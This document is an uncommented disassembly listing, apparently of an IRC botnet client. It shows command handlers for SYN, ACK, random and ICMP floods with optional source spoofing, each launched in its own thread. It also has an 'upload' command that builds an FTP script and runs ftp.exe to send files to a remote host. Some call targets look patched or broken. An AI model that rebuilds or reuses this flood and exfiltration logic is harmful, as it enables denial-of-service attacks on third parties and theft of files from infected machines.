		push	eax
		push	esi
		call	dword_4CB9EC
		push	esi
		call	dword_4CBA6C
		call	dword_4CB92C
		lea	eax, [ebp+var_458C]
		push	eax
		push	offset unk_42AEFC


loc_406BEF:				; CODE XREF: sub_401ACD+2E3Fj
					; sub_401ACD+4561j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266


loc_406BFB:				; CODE XREF: sub_401ACD+2431j
		add	esp, 0Ch


loc_406BFE:				; CODE XREF: sub_401ACD+4485j
					; sub_401ACD+6575j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406C1F
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_406C1F:				; CODE XREF: sub_401ACD+296Fj
					; sub_401ACD+29C2j ...
		mov	esi, [ebp+arg_24]


loc_406C22:				; CODE XREF: sub_401ACD+6814j
					; sub_401ACD+773Fj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx
		mov	eax, esi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_406C36:				; CODE XREF: sub_401ACD+4FCCj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406C60
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407208


loc_406C60:				; CODE XREF: sub_401ACD+517Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41C159
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_410ADC
		jmp	loc_404085
; ---------------------------------------------------------------------------


loc_406C8E:				; CODE XREF: sub_401ACD+4F9Ej
					; sub_401ACD+4FB5j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		push	offset unk_42AEB4
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_406CF1:				; CODE XREF: sub_401ACD+51EAj
					; sub_401ACD+5201j ...
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1250],	eax
		jle	loc_406E1D
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_13D8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41C360
		push	[ebp+arg_0]
		call	sub_41C159
		mov	[ebp+var_1254],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_124C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13DC],	eax
		lea	eax, [ebp+var_12D8]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_124C],	ebx
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1244],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406D8E
		mov	eax, offset aNormal ; "Normal"


loc_406D8E:				; CODE XREF: sub_401ACD+52BAj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset unk_42AE70
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_1258],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13DC]
		push	ebx
		push	eax
		push	offset byte_4149C1
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_1258]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_406E0C


loc_406DF6:				; CODE XREF: sub_401ACD+533Dj
		cmp	[ebp+var_1240],	ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 269040Ah
		nop
		jmp	short loc_406DF6
; ---------------------------------------------------------------------------


loc_406E0C:				; CODE XREF: sub_401ACD+5327j
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_42AE38
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406E1D:				; CODE XREF: sub_401ACD+5235j
		push	offset unk_42AE00


loc_406E22:				; CODE XREF: sub_401ACD+1FBEj
					; sub_401ACD+1FD4j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_406E35:				; CODE XREF: sub_401ACD+4F11j
					; sub_401ACD+4F28j ...
		cmp	dword_4CBAC4, ebx
		jnz	loc_406F44
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_1090]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_1010],	eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_100C],	eax
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1008],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_1110]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1114],	eax
		lea	eax, [ebp+var_1090]
		push	[ebp+var_1008]
		push	[ebp+var_100C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_1010]
		push	offset unk_42ADB8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1114]
		push	ebx
		push	eax
		push	offset dword_413E10
		push	ebx
		push	ebx
		call	near ptr 2690496h
		nop
		mov	ecx, [ebp+var_1000]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_406F33


loc_406F1D:				; CODE XREF: sub_401ACD+5464j
		cmp	[ebp+var_FF4], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_406F1D
; ---------------------------------------------------------------------------


loc_406F33:				; CODE XREF: sub_401ACD+544Ej
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_42AD80
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406F44:				; CODE XREF: sub_401ACD+536Ej
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41BFD0
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_406F5F:				; CODE XREF: sub_401ACD+4EE3j
					; sub_401ACD+4EFAj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	[ebp+arg_0]
		push	offset unk_42AD2C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_18]
		mov	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_20]
		add	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_10]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41C2E0
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41C159
		mov	edi, [ebp+arg_20]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_1C], ebx
		jle	short loc_407059


loc_406FE2:				; CODE XREF: sub_401ACD+5539j
		push	[ebp+arg_C]
		push	[ebp+arg_18]
		push	edi
		call	sub_418AF1
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_20], eax
		jz	short loc_40700A
		cmp	eax, ebx
		jnz	short loc_407029
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_1C]
		cmp	eax, [ebp+arg_14]
		jl	short loc_406FE2
		jmp	short loc_407062
; ---------------------------------------------------------------------------


loc_40700A:				; CODE XREF: sub_401ACD+552Aj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42ACF4


loc_407013:				; CODE XREF: sub_401ACD+559Ej
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_407208
; ---------------------------------------------------------------------------


loc_407029:				; CODE XREF: sub_401ACD+552Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ACC0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407059:				; CODE XREF: sub_401ACD+5513j
		cmp	[ebp+arg_20], ebx
		jnz	loc_407208


loc_407062:				; CODE XREF: sub_401ACD+553Bj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AC8C
		jmp	short loc_407013
; ---------------------------------------------------------------------------


loc_40706D:				; CODE XREF: sub_401ACD+4E9Ej
					; sub_401ACD+4EB5j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_C68], eax
		mov	eax, [ebp+var_4]


loc_40707B:				; DATA XREF: ___:004330E0o
					; ___:004330F4o ...
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_D00]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_C80], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_C7C], eax
		call	sub_41C159
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C78], eax
		jz	short loc_4070D2
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_C74], eax
		jmp	short loc_4070D8
; ---------------------------------------------------------------------------


loc_4070D2:				; CODE XREF: sub_401ACD+55F4j
		mov	[ebp+var_C74], ebx


loc_4070D8:				; CODE XREF: sub_401ACD+5603j
		push	7Fh
		lea	eax, [ebp+var_D80]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_D00]
		mov	[ebp+var_D84], esi
		push	[ebp+var_C78]
		push	[ebp+var_C7C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C80]
		push	offset unk_42AC44
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_C70], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D84]
		push	ebx
		push	eax
		push	offset dword_413F9C
		push	ebx
		push	ebx
		call	near ptr 2690496h
		nop
		mov	ecx, [ebp+var_C70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40717B


loc_407169:				; CODE XREF: sub_401ACD+56ACj
		cmp	[ebp+var_C64], ebx
		jnz	short loc_407196
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_407169
; ---------------------------------------------------------------------------


loc_40717B:				; CODE XREF: sub_401ACD+569Aj
		call	near ptr 2690C56h
		nop
		push	eax
		push	offset unk_42AC0C


loc_407187:				; CODE XREF: sub_401ACD+4D09j
					; sub_401ACD+61E0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_407196:				; CODE XREF: sub_401ACD+4CEDj
					; sub_401ACD+56A2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	[ebp+var_4]


loc_4071A3:				; CODE XREF: sub_401ACD+2284j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4081CA
; ---------------------------------------------------------------------------


loc_4071B6:				; CODE XREF: sub_401ACD+4E70j
					; sub_401ACD+4E87j
		push	0Bh
		call	sub_40B602
		push	[ebp+arg_18]
		mov	[ebp+arg_1C], eax
		call	sub_41C159
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 320h
		jle	loc_407381
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ABD0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407208:				; CODE XREF: sub_401ACD+518Dj
					; sub_401ACD+5557j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		push	4
		push	esi
		call	sub_416CAF
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407253
		push	esi
		push	offset unk_42ABA8


loc_40723F:				; CODE XREF: sub_401ACD+711Ej
					; sub_401ACD+796Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403F9D
; ---------------------------------------------------------------------------


loc_407253:				; CODE XREF: sub_401ACD+576Aj
		nop
		call	near ptr 26A0D72h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_50FC]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E5C]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E5C]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BEA2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401F75
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41C7E6
		push	[ebp+arg_24]
		call	sub_41BA3B
		add	esp, 20h
		lea	eax, [ebp+var_2E5C]
		push	eax
		lea	eax, [ebp+var_4CF8]
		push	offset aSS_1	; "-s:%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB940
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_407320
		push	offset unk_42AB38
		jmp	short loc_407325
; ---------------------------------------------------------------------------


loc_407320:				; CODE XREF: sub_401ACD+584Aj
		push	offset unk_42AB08


loc_407325:				; CODE XREF: sub_401ACD+5851j
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40734E
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_40734E:				; CODE XREF: sub_401ACD+5863j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_40735A:				; CODE XREF: sub_401ACD+58B2j
		lea	eax, [ebp+var_2E5C]
		push	4
		push	eax
		call	sub_416CAF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401F75
		lea	eax, [ebp+var_2E5C]
		push	eax
		call	sub_41C7BC
		jmp	short loc_40735A
; ---------------------------------------------------------------------------


loc_407381:				; CODE XREF: sub_401ACD+5705j
		push	edi
		call	sub_41C159
		push	[ebp+arg_18]
		mov	[ebp+var_370], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41C159
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_4073BA
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_4073BA:				; CODE XREF: sub_401ACD+58E2j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_4073C7
		mov	[ebp+var_36C], ecx


loc_4073C7:				; CODE XREF: sub_401ACD+58F2j
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_368], eax
		jbe	short loc_4073E7
		mov	[ebp+var_368], 320h


loc_4073E7:				; CODE XREF: sub_401ACD+590Ej
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_4317F8, ebx
		mov	[ebp+arg_1C], ebx
		jz	short loc_40743D
		mov	[ebp+arg_24], offset dword_4317F8


loc_407400:				; CODE XREF: sub_401ACD+5952j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407423
		add	[ebp+arg_24], 40h
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_407400
		jmp	short loc_40743D
; ---------------------------------------------------------------------------


loc_407423:				; CODE XREF: sub_401ACD+5944j
		mov	eax, [ebp+arg_1C]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_4317F8[ecx]
		mov	[ebp+var_370], ecx


loc_40743D:				; CODE XREF: sub_401ACD+592Aj
					; sub_401ACD+5954j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40744F
		push	offset unk_42AAD4
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_40744F:				; CODE XREF: sub_401ACD+5976j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_40748A
		cmp	byte ptr [edi],	23h
		jz	short loc_40748A
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41C360
		push	78h
		push	edi
		call	sub_41C990
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407564
; ---------------------------------------------------------------------------


loc_40748A:				; CODE XREF: sub_401ACD+598Bj
					; sub_401ACD+5990j
		cmp	[ebp+var_8FF], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8FE], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8EE], bl
		jnz	short loc_4074AC
		push	offset unk_42AAA0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_4074AC:				; CODE XREF: sub_401ACD+59C3j
					; sub_401ACD+59CBj ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB978
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40755E
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41C820
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407552


loc_407530:				; CODE XREF: sub_401ACD+5A83j
		cmp	eax, ebx
		jz	short loc_407552
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_407530


loc_407552:				; CODE XREF: sub_401ACD+5A61j
					; sub_401ACD+5A65j
		mov	[ebp+var_344], 1
		jmp	short loc_407564
; ---------------------------------------------------------------------------


loc_40755E:				; CODE XREF: sub_401ACD+5A3Bj
		mov	[ebp+var_344], ebx


loc_407564:				; CODE XREF: sub_401ACD+59B8j
					; sub_401ACD+5A8Fj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4075B5


loc_4075A2:				; CODE XREF: sub_401ACD+5B0Bj
		push	esi


loc_4075A3:				; CODE XREF: sub_401ACD+5AF5j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4075E0
; ---------------------------------------------------------------------------


loc_4075B5:				; CODE XREF: sub_401ACD+5AD3j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4075C4
		cmp	byte ptr [eax],	23h
		jnz	short loc_4075C4
		push	eax
		jmp	short loc_4075A3
; ---------------------------------------------------------------------------


loc_4075C4:				; CODE XREF: sub_401ACD+5AEDj
					; sub_401ACD+5AF2j
		mov	esi, offset aF	; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4075A2
		mov	[ebp+var_3F4], bl


loc_4075E0:				; CODE XREF: sub_401ACD+5AE6j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4075F2
		mov	eax, offset aSequential	; "Sequential"


loc_4075F2:				; CODE XREF: sub_401ACD+5B1Ej
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA38
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407680


loc_40766A:				; CODE XREF: sub_401ACD+5BB1j
		cmp	[ebp+var_340], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_40766A
; ---------------------------------------------------------------------------


loc_407680:				; CODE XREF: sub_401ACD+5B9Bj
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_42AA00
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_407691:				; CODE XREF: sub_401ACD+4E42j
					; sub_401ACD+4E59j
		push	edi
		call	sub_40A8F0
		push	[ebp+arg_18]
		mov	[ebp+var_4E0], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_4EC], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41BFD0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A9B0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40CA1D
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407786


loc_407770:				; CODE XREF: sub_401ACD+5CB7j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_407770
; ---------------------------------------------------------------------------


loc_407786:				; CODE XREF: sub_401ACD+5CA1j
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_42A974
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407797:				; CODE XREF: sub_401ACD+4E05j
					; sub_401ACD+4E1Cj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E928[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A968
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E710[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E928
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407957
; ---------------------------------------------------------------------------


loc_407887:				; CODE XREF: sub_401ACD+4DD7j
					; sub_401ACD+4DEEj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E928[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E710[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E928
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407957:				; CODE XREF: sub_401ACD+5DB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 28h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_407984:				; CODE XREF: sub_401ACD+4DA9j
